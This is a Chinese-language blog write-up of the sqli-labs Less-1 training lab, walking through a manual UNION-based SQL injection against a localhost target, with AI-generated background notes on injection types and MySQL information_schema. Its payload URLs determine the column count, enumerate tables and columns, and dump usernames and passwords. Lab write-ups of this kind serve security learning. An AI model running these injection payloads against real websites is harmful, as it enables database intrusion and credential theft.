首先观察页面信息,看有没有提示。



很显然,这个页面让我们传入id这个参数(根据题目的分支,应该是get方法)

使用HackBar进行传入参数,首先传入id=1

http://localhost/sqli-labs-master/Less-1/?id=1



发现回显正常

第一步、基础判断

下面进行基础的判断,传入id=1' --+

回显正常,所以判断为字符型注入


ps:关于如何字符型注入和数字型注入的区别(来自copilot)

字符型注入和数字型注入是SQL注入漏洞中的两种常见类型。让我们来详细了解一下如何判断它们。

  1. 数字型注入

    • 当输入的参数 x 为整型时,通常 SQL 语句会是这样的:
      SELECT * FROM users WHERE id = x;
    • 这种类型可以使用经典的 AND 1=1AND 1=2 来判断。
    • 如果在 URL 地址中输入 www.example.com/ccc.php?id=x AND 1=1,页面会正常显示。
    • 如果输入 www.example.com/ccc.php?id=x AND 1=2,页面会报错,这说明存在数字型注入。
    • 原因是:当输入 AND 1=1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = x AND 1=1;,没有语法错误且返回正常。而输入 AND 1=2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = 1 AND 1=2;,没有语法错误但返回错误。
  2. 字符型注入

    • 当输入的参数 x 为字符型时,通常 SQL 语句会是这样的:
      SELECT * FROM users WHERE id = 'x';
    • 这种类型我们可以使用 AND '1'='1AND '1'='2 来进行测试。
    • 如果在 URL 地址中输入 www.example.com/ccc.php?id=1' AND '1'='1,页面会正常显示。
    • 如果输入 www.example.com/ccc.php?id=1' AND '1'='2,页面会报错,说明存在字符型注入。
    • 原因是:当输入 AND '1'='1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id='x' AND '1'='1',语法正确、逻辑判断正确,返回正确。而输入 AND '1'='2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id='x' AND '1'='2',语法正确、逻辑判断错误,返回错误。

总结:

  • 字符型注入需要用单引号来闭合字符串,而数字型不需要。
  • 判断注入类型并不是绝对准确的过程,因为攻击者可以使用各种技巧来绕过检测。
  • 最佳实践是使用参数化查询或预编译语句等安全编程技术来防止注入攻击,同时定期更新和修补软件以修复已知的安全漏洞¹³⁴.

源: 与必应的对话, 2024/2/28

(1) 如何判断是字符型注入还是数字型注入 - CSDN博客. https://blog.csdn.net/chenzzhenguo/article/details/108842399.

(2) 关于字符型注入判断的总结 - 知乎. https://zhuanlan.zhihu.com/p/23899464.

(3) sql注入类型的判断 - 知乎. https://zhuanlan.zhihu.com/p/99961411.

(4) 怎么判断sql注入是数字型还是字符型 - CSDN文库. https://bing.com/search?q=如何判断字符型注入.

(5) sql注入入门必看!一篇文章快速判断是字符型注入 .... https://blog.csdn.net/weixin_43919144/article/details/105552701.

(6) undefined. https://www.jianshu.com/p/5edd7a58a69e.

(7) undefined. http://xxx/abc.php?id=.


第二步、判断列数

在我们判断为字符型注入之后,下面进行列数判断

一般用order by

传入id=1' order by 1 --+

回显正常

下面依次尝试2,3,4...

发现order by 4 的时候回显报错

这样就可以判断列数有三列

第三步、爆显示位

这里我们使用联合查询

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

爆出回显位如图

第四步、获取数据库版本、数据库名称等信息

还是使用联合查询

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+

爆出回显如图

第五步、逐步深入获取数据库信息

现在数据库名称已经爆出来了,下面只需要逐步深入数据库内部,从库名到表名到列名,最后提取需要的信息


下面还是补充一点知识点:

information_schema 是 MySQL 自带的一个信息数据库,它保存着关于 MySQL 服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等¹²³. 让我们来详细了解一下:

  1. SCHEMATA 表:提供了当前 MySQL 实例中所有数据库的信息,类似于 SHOW DATABASES 的结果¹.
  2. TABLES 表:提供了关于数据库中的表的信息,包括视图。它详细描述了某个表属于哪个 schema,表类型,表引擎,创建时间等信息,类似于 SHOW TABLES FROM schemaname 的结果¹.
  3. COLUMNS 表:提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息,类似于 SHOW COLUMNS FROM schemaname.tablename 的结果¹.
  4. STATISTICS 表:提供了关于表索引的信息,类似于 SHOW INDEX FROM schemaname.tablename 的结果¹.
  5. USER_PRIVILEGES 表:给出了关于全程权限的信息,该信息源自 mysql.user 授权表,是非标准表¹.
  6. SCHEMA_PRIVILEGES 表:给出了关于方案(数据库)权限的信息,该信息来自 mysql.db 授权表,是非标准表¹.
  7. TABLE_PRIVILEGES 表:给出了关于表权限的信息,该信息源自 mysql.tables_priv 授权表,是非标准表¹.
  8. COLUMN_PRIVILEGES 表:给出了关于列权限的信息,该信息源自 mysql.columns_priv 授权表,是非标准表¹.
  9. CHARACTER_SETS 表:提供了 MySQL 实例可用字符集的信息,类似于 SHOW CHARACTER SET 的结果¹.
  10. COLLATIONS 表:提供了关于各字符集的对照信息¹.
  11. COLLATION_CHARACTER_SET_APPLICABILITY 表:指明了可用于校对的字符集,这些列等效于 SHOW COLLATION 的前两个显示字段¹.
  12. TABLE_CONSTRAINTS 表:描述了存在约束的表以及表的约束类型¹.
  13. KEY_COLUMN_USAGE 表:描述了具有约束的键列¹.
  14. ROUTINES 表:提供了关于存储子程序(存储程序和函数)的信息,此时,ROUTINES 表不包含自定义函数(UDF)¹.
  15. VIEWS 表:给出了关于数据库中的视图的信息,需要有 SHOW VIEWS 权限,否则无法查看视图信息¹.
  16. TRIGGERS 表:提供了关于触发程序的信息,必须有 SUPER 权限才能查看该表¹.

总之,information_schema 就像是 MySQL 实例的一个百科全书,记录了数据库中大部分需要了解的信息,包括字符集、权限、数据库实体对象信息、外键约束、分区、压缩表、表信息、索引信息、参数、优化、锁和事务等等。通过 information_schema,我们可以窥探整个 MySQL 实例的运行情况,了解 MySQL 实例的基本信息,甚至进行优化调优和维护数据库¹.

源: 与必应的对话, 2024/2/28

(1) MySQL information_schema 详解 - 知乎. https://zhuanlan.zhihu.com/p/88342863.

(2) mysql中information_schema表 - ruijing - 博客园. https://www.cnblogs.com/ruijing/p/9953283.html.

(3) mysql information_schema介绍 - HalfWater - 博客园. https://www.cnblogs.com/sdgf/p/6365968.html.

(4) MySQL进阶:INFORMATION_SCHEMA 简介 - 程序猿成长计划 .... https://segmentfault.com/a/1190000020855895.


回到题目

首先爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'  --+

下一步爆列(我们选择爆出来的user表)

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'  --+

最后提取信息

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(id,username,password) from users   --+

这样我们注入的目的就达到了

sqli_lab Less1练习笔记的更多相关文章

  1. sqli_labs学习笔记(一)Less-1~Less-20

    开门见山 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) ·  方法一:手工UNION联合查询注入 输入单引号, ...

  2. 【sqli-labs】Less1~Less4

    学习sql注入啦,一下都是我做sqli-labs时的笔记.可能有错误,如果有人发现了欢迎指正~~ 常用知识点: 1.mysql注释有三种:① #: 注释从#到行尾 ② --空格: 注释到行尾,注意-- ...

  3. sqli-labs学习笔记 DAY1

    DAY 1 准备工作 安装phpstudy 安装配置sqli-labs 学习笔记 SQL语句的注释:–, # +在URL经过编码后会编码为空格 SQL语句的查询语句:SELECT column_nam ...

  4. sqli-labs靶机注入笔记1-10关

    嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...

  5. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  6. git-简单流程(学习笔记)

    这是阅读廖雪峰的官方网站的笔记,用于自己以后回看 1.进入项目文件夹 初始化一个Git仓库,使用git init命令. 添加文件到Git仓库,分两步: 第一步,使用命令git add <file ...

  7. js学习笔记:webpack基础入门(一)

    之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...

  8. SQL Server技术内幕笔记合集

    SQL Server技术内幕笔记合集 发这一篇文章主要是方便大家找到我的笔记入口,方便大家o(∩_∩)o Microsoft SQL Server 6.5 技术内幕 笔记http://www.cnbl ...

  9. PHP-自定义模板-学习笔记

    1.  开始 这几天,看了李炎恢老师的<PHP第二季度视频>中的“章节7:创建TPL自定义模板”,做一个学习笔记,通过绘制架构图.UML类图和思维导图,来对加深理解. 2.  整体架构图 ...

  10. PHP-会员登录与注册例子解析-学习笔记

    1.开始 最近开始学习李炎恢老师的<PHP第二季度视频>中的“章节5:使用OOP注册会员”,做一个学习笔记,通过绘制基本页面流程和UML类图,来对加深理解. 2.基本页面流程 3.通过UM ...

随机推荐

  1. 【Azure Developer】示例: 在中国区调用MSGraph SDK通过User principal name获取到User信息,如Object ID

    问题描述 示例调用MSGraph SDK通过User principal name获取到User信息,如Object ID. 参考资料 选择 Microsoft Graph 身份验证提供程序 : ht ...

  2. 【Azure Service Fabric】关于Service Fabric的相关问题

    问题一:Service Fabric 是否支持Private Link? 在Azure Private Endpoint文档中,罗列出了 Azure 上支持 Private Link 的服务.Serv ...

  3. 【Azure 环境】在Azure活动目录中的应用注册,给应用添加API权限时发现API权限配置缺失

    问题描述 在Azure活动目录中的应用注册,给应用添加API权限时,SecurityEvents.Read.All和IdentityRiskEvent两个权限,在Microsoft graph中找不到 ...

  4. 【Azure API 管理】讨论APIM是否适合直接存储文件到Azure Storage Account呢?

    问题描述 需要从 APIM 直接将大文件存入Azure Storage,没看到这方面的官方文档,所以是否有这方面的实践案例,或者APIM是否支持引用SDK (如Azure Storage SDK)? ...

  5. C++基本知识梳理

    一.命名空间 概念:命名空间是新定义的一个作用域,里面可以放函数,变量,定义类等,主要用来防止命名冲突. 实现:namespace关键字 命名空间名字{ 命名空间成员 } 注意点: 1.命名空间可以嵌 ...

  6. Java 小案例+super使用

    1 package com.bytezero.supertest3; 2 3 /** 4 * 5 * @Description AccountTest类 6 * @author Bytezero·zh ...

  7. 云计算 - 内容分发网络CDN技术与应用全解

    在这篇全面解析CDN的技术文章中,我们深入探讨了CDN的基础概念.核心架构.多样化产品和在不同行业中的应用案例.文章揭示了CDN技术如何优化内容分发,提升用户体验,并展望了CDN面临的挑战和未来发展趋 ...

  8. 分布式理论 & RPC & Dubbo

    分布式服务框架(RPC) 用于提高机器利用率的资源调度和治理中心*(SOA)[ Service Oriented Architecture] Dubbo(RPC框架) 服务提供者**(Provider ...

  9. 基于ads1292心电数据存储和状态显示

    一 前记 ads1292芯片在专业的心电采集这块应用十分广泛.随着医疗可穿戴的发展,便携式心电测量这块前景十分广阔.基于现在的几个项目,团队在这里花费了不少精力,借此机会把这个方向打造成团队的特色之一 ...

  10. RTMP、X264与交叉编译

    RTMP.X264与交叉编译 ​ 与HTTP(超文本传输协议)同样是一个基于TCP的Real Time Messaging Protocol(实时消息传输协议).由Adobe Systems公司为Fl ...